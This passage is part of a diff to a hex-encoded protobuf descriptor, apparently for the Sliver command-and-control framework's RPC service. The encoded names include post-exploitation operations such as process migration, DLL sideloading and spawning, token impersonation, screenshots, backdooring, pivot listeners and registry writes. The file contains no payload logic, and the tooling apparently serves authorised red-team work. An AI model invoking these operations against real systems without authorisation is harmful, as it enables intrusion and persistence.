0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, + 0x61, 0x73, 0x6b, 0x12, 0x4a, 0x0a, 0x0f, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, + 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, - 0x79, 0x12, 0x32, 0x0a, 0x07, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, - 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x69, - 0x67, 0x72, 0x61, 0x74, 0x65, 0x12, 0x32, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, - 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, - 0x75, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x40, 0x0a, 0x0e, 0x45, 0x78, 0x65, - 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, - 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x53, - 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, - 0x61, 0x64, 0x12, 0x3b, 0x0a, 0x08, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x1b, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6e, 0x76, 0x6f, 0x6b, 0x65, - 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, - 0x3b, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x17, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, - 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x50, 0x0a, 0x11, - 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, - 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, - 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x52, 0x65, - 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, - 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x4e, - 0x0a, 0x12, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, - 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x79, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, + 0x32, 0x0a, 0x07, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, + 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x69, 0x67, 0x72, + 0x61, 0x74, 0x65, 0x12, 0x32, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x14, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, + 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x40, 0x0a, 0x0e, 0x45, 0x78, 0x65, 0x63, 0x75, + 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, + 0x6f, 0x77, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x53, 0x69, 0x64, + 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, + 0x12, 0x3b, 0x0a, 0x08, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x1b, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6e, 0x76, 0x6f, 0x6b, 0x65, 0x53, 0x70, + 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x3b, 0x0a, + 0x0a, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x17, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, + 0x74, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x50, 0x0a, 0x11, 0x43, 0x75, + 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, + 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, + 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, + 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, + 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x4e, 0x0a, 0x12, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, - 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x44, - 0x0a, 0x11, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, - 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, - 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x12, 0x4e, 0x0a, 0x15, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, - 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x73, 0x12, 0x33, 0x0a, 0x0a, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, - 0x70, 0x68, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, - 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x74, 0x61, - 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, - 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x3e, 0x0a, 0x0b, 0x53, - 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, - 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x42, 0x0a, 0x0d, 0x52, - 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x1a, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, - 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, - 0x38, 0x0a, 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x16, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, - 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x2d, 0x0a, 0x06, 0x47, 0x65, 0x74, - 0x45, 0x6e, 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, - 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x45, 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2f, 0x0a, 0x06, 0x53, 0x65, 0x74, 0x45, - 0x6e, 0x76, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, - 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x55, 0x6e, 0x73, - 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, - 0x12, 0x35, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x15, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, - 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, - 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x52, 0x65, 0x67, 0x69, 0x73, - 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x52, - 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x44, 0x0a, 0x0d, 0x52, 0x65, - 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, - 0x72, 0x69, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, - 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, + 0x65, 0x72, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, + 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, + 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, + 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x44, 0x0a, 0x11, + 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, + 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x12, 0x4e, 0x0a, 0x15, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, + 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x73, 0x12, 0x33, 0x0a, 0x0a, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, + 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, + 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x74, 0x61, 0x72, 0x74, + 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, + 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, + 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x3e, 0x0a, 0x0b, 0x53, 0x74, 0x6f, + 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, + 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, + 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x42, 0x0a, 0x0d, 0x52, 0x65, 0x6d, + 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, + 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x38, 0x0a, + 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x52, + 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, + 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x2d, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x45, 0x6e, + 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, + 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, + 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2f, 0x0a, 0x06, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, + 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, + 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x55, 0x6e, 0x73, 0x65, 0x74, + 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, + 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, + 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, + 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, + 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, + 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x52, 0x65, 0x71, + 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, + 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x44, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x69, + 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, + 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x50, + 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, + 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, + 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, + 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, + 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 